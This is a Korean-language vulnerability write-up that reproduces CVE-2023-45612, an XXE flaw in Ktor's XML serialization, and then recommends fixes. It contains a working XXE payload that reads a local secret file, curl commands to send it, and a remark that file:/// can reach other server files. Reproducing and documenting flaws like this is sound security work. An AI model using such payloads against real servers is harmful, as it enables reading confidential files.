
Ktor의 XML 직렬화에서 XXE(XML 외부 엔터티) 공격을 허용하는 높은 심각도의 보안 문제 재현.
CVE-2023-45612는 2023년에 패치된 Ktor의 XML 직렬화에서 XXE(XML eXternal Entity) 공격을 허용하는 높은 심각도의 보안 문제입니다.
다음은 제가 문제를 재현한 방법에 대한 자세한 설명입니다.
먼저 XML 파일을 처리할 서버가 필요합니다. IntelliJ IDEA에서 Kotlin 프로젝트를 생성하고, 필요한 Ktor 종속성과 직렬화 플러그인을 사용하기 위해 build.gradle.kts를 수정합니다. io.ktor:ktor-serialization-kotlinx-xml이 우리가 관심을 가지는 종속성입니다. 버전 2.3.4는 취약한 버전이고, 버전 2.3.5는 패치된 버전입니다.
그런 다음 프로젝트 루트에 sensitive_infos.txt라는 파일을 추가합니다. 이 파일은 비공개로 서버 외부에서 접근할 수 없도록 설계되었습니다. 이 파일의 내용은 "This informations should be secret and not accessible by sending a .xmf file."입니다.
그런 다음 Main.kt에서 서버를 구현합니다. 서버는 클라이언트가 보낸 XML을 Person 클래스의 String(name)으로 직렬화하여 처리하도록 설계되었습니다. 그런 다음 서버는 클라이언트가 보낸 이름을 확인하는 응답을 보냅니다. 서버를 시작한 후 정상적인 사용과 악의적인 사용을 시도할 수 있습니다.
클라이언트는 자신의 이름이 포함된 XML 파일을 보내고 방금 보낸 이름으로 확인을 받습니다. 다음 XML 파일로 테스트할 수 있습니다:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
and the command:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
클라이언트는 URI 형태의 대체 문자열을 제공하여 엔터티를 정의하고 악성 XML 파일을 보낸 다음, 서버가 접근할 수 있는 비밀 파일의 내용을 받습니다. 아래에는 서버 루트에 있는 파일(sensitive_infos.txt)의 예를 보여드리지만, 서버가 Linux에서 실행되는 경우 file:/// 등을 사용하여 다른 파일에도 접근할 수 있습니다(XML 파서가 해당 내용에 접근할 수 있는 경우).
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
and the command
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
서버는 "Name sent: This informations should be secret and not accessible by sending a .xmf file."라고 응답하며, 이는 실제로 비밀 정보에 접근했으며 취약점이 존재함을 증명합니다.
참고로, build.gradle.kts에서 버전을 2.3.4에서 2.3.5로 변경하면 문제가 해결되고 서버는 악의적인 입력에 대해서만 "Name sent"라고 응답하며, 정상 입력에 대해서는 정상적인 응답을 유지합니다. 이를 통해 보안 문제가 2.3.5에서 해결되었음을 확인할 수 있습니다.
사용자를 절대 신뢰하지 마세요! Ktor 파서는 예를 들어 엔터티를 포함하는 모든 XML 입력 파일을 폐기하는 방식으로 입력을 살균할 수 있습니다.
사용자에게 덜 제한적인 방법으로, Ktor는 external-general-entities 및 external-parameter-entities 기능을 false로 설정하여 기본적으로 외부 엔터티를 비활성화할 수 있습니다. 이렇게 하면 사용자는 여전히 XML 파일에서 엔터티를 선언할 수 있지만, 해당 엔터티는 더 이상 외부 리소스에 접근할 수 없습니다.
코드가 XXE 공격에 취약하지 않은지 확인하기 위해 Ktor의 CI/CD에 XXE 공격 테스트를 포함하세요.